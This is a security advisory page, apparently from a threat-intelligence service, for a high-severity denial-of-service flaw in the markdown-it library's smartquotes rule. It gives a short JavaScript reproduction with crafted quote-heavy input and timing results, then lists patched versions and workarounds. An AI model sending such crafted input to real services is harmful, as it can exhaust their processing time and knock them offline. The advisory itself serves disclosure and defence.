HIGHCVSS v3.1 7.5Vulnerability

CVE-2026-111759

### Impact When `typographer: true` is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input. Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed. The default configuration (`typographer: false`) is not affected, but this option is enabled with high probability. ### Reproduction ```js import MarkdownIt from 'markdown-it' import { performance } from 'node:perf_hooks' const md = new MarkdownIt({ typographer: true }) for (const k of [2000, 4000, 8000, 16000, 32000]) { const input = '"a '.repeat(k) + "b' ".repeat(k) const start = performance.now() md.render(input) console.log(input.length, (performance.now() - start).toFixed(1), 'ms') } ``` Result: |input size|time| |-|-| |12000|18ms| |24000|47ms| |48000|115ms| |96000|428ms| |192000|1586ms| ### Patches Fixed in **15.0.2** and **14.3.2**. ### Workarounds Disable typography with `typographer: false`, or disable only the smartquotes rule: ```js md.disable('smartquotes') ```

Properties

Summary
markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes
Severity
high
Nvd fetched at
2026-10-20T21:14:08.448323+00:00
Epss score
0.00598
Cvss score
7.5
Cvss severity
HIGH
Retrieved at
2026-10-21T01:24:48+00:00
Ghsa published
2026-10-20T14:34:50Z
Source url
https://github.com/advisories/GHSA-r7fv-28h4-cvq7
Ghsa updated
2026-10-20T14:34:52Z
Ghsa id
GHSA-r7fv-28h4-cvq7
Last source
FIRST EPSS
Score
7.5
Cvss version
3.1
Cve id
CVE-2026-111759
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
First seen by Signal
2026-10-19T19:31:52+00:00
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Published at
2026-10-19T18:17:00.570

Related Entities (4)

AFFECTS (1)

→[Software]npm/markdown-it

VULNERABLE_TO (1)

←[Software]npm/markdown-it

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-111759 (CVSS v3.1 7.5) — Ninja Signal Threat Intelligence | Ninja Signal